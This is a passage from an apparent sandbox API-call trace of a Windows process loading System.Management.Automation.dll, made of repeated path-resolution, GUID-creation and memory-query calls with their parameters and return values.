lpBuffer=0x29e09c*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.643] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb3948cbb, Data2=0x10ef, Data3=0x49a2, Data4=([0]=0x9e, [1]=0x97, [2]=0x85, [3]=0x45, [4]=0x93, [5]=0xf5, [6]=0xc7, [7]=0xea))) returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.644] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.644] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xafd54217, Data2=0x1e39, Data3=0x477c, Data4=([0]=0xae, [1]=0xa3, [2]=0xb0, [3]=0x5, [4]=0x2e, [5]=0xcd, [6]=0xb8, [7]=0x22))) returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.645] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.645] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x52b39978, Data2=0xdfb1, Data3=0x43e2, Data4=([0]=0x8b, [1]=0x86, [2]=0x8b, [3]=0xe1, [4]=0x4b, [5]=0xb2, [6]=0x65, [7]=0x3b))) returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.646] GetLastError () returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.647] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xf67c4c64, Data2=0xcdb2, Data3=0x42f1, Data4=([0]=0xac, [1]=0x8f, [2]=0x2, [3]=0xd8, [4]=0x6f, [5]=0x6, [6]=0x9e, [7]=0x19))) returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.647] GetLastError () returned 0x0 [0075.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.648] GetLastError () returned 0x0 [0075.648] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x4f10d7c1, Data2=0x1ba0, Data3=0x4892, Data4=([0]=0xaf, [1]=0x37, [2]=0x6, [3]=0x4a, [4]=0x52, [5]=0xc7, [6]=0xb3, [7]=0xce))) returned 0x0 [0075.648] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8991dc16, Data2=0x4af6, Data3=0x4c76, Data4=([0]=0x9c, [1]=0xd2, [2]=0xb1, [3]=0x3c, [4]=0x91, [5]=0x4d, [6]=0x5a, [7]=0x5b))) returned 0x0 [0075.648] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x9c92104, Data2=0xf237, Data3=0x407d, Data4=([0]=0xb8, [1]=0x97, [2]=0x78, [3]=0x54, [4]=0x72, [5]=0xda, [6]=0x69, [7]=0x7b))) returned 0x0 [0075.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.648] GetLastError () returned 0x0 [0075.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.648] GetLastError () returned 0x0 [0075.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.648] GetLastError () returned 0x0 [0075.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.649] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x95767150, Data2=0x1b06, Data3=0x424b, Data4=([0]=0xa0, [1]=0x9f, [2]=0x7d, [3]=0xd0, [4]=0xb0, [5]=0xbc, [6]=0xb, [7]=0x27))) returned 0x0 [0075.649] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.649] GetLastError () returned 0x0 [0075.650] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.650] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.650] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.650] GetLastError () returned 0x0 [0075.650] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.650] GetLastError () returned 0x0 [0075.650] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.650] GetLastError () returned 0x0 [0075.650] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.650] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.651] GetLastError () returned 0x0 [0075.651] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.660] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.663] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xb365e854, Data2=0x1b05, Data3=0x4327, Data4=([0]=0xac, [1]=0xe5, [2]=0x12, [3]=0x9a, [4]=0xe0, [5]=0x35, [6]=0x34, [7]=0x28))) returned 0x0 [0075.667] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xe330e3c9, Data2=0x73e4, Data3=0x42bc, Data4=([0]=0xb4, [1]=0x10, [2]=0x77, [3]=0xf9, [4]=0x5b, [5]=0x17, [6]=0x90, [7]=0x7e))) returned 0x0 [0075.669] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x7abf5b2a, Data2=0x70a6, Data3=0x4ef2, Data4=([0]=0x82, [1]=0xab, [2]=0xbe, [3]=0x9e, [4]=0xee, [5]=0x14, [6]=0x5f, [7]=0x6d))) returned 0x0 [0075.670] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xe7bb3a46, Data2=0x9190, Data3=0x47c6, Data4=([0]=0xb3, [1]=0x79, [2]=0x30, [3]=0xd6, [4]=0x5e, [5]=0x34, [6]=0xc9, [7]=0x23))) returned 0x0 [0075.670] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa3b0c821, Data2=0xfaf6, Data3=0x47fe, Data4=([0]=0xb2, [1]=0xe5, [2]=0x1c, [3]=0xf8, [4]=0x9e, [5]=0xf, [6]=0xe3, [7]=0x47))) returned 0x0 [0075.670] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xce9efd51, Data2=0xc001, Data3=0x4665, Data4=([0]=0x9c, [1]=0xba, [2]=0x9a, [3]=0x19, [4]=0x87, [5]=0x2a, [6]=0xe9, [7]=0x88))) returned 0x0 [0075.671] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xbe82442, Data2=0x1003, Data3=0x4150, Data4=([0]=0xbf, [1]=0x3c, [2]=0x2a, [3]=0x88, [4]=0xe7, [5]=0xdd, [6]=0x1c, [7]=0xf8))) returned 0x0 [0075.671] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x6f4750e3, Data2=0x5d9a, Data3=0x425c, Data4=([0]=0xbf, [1]=0x0, [2]=0xdf, [3]=0x2b, [4]=0xdc, 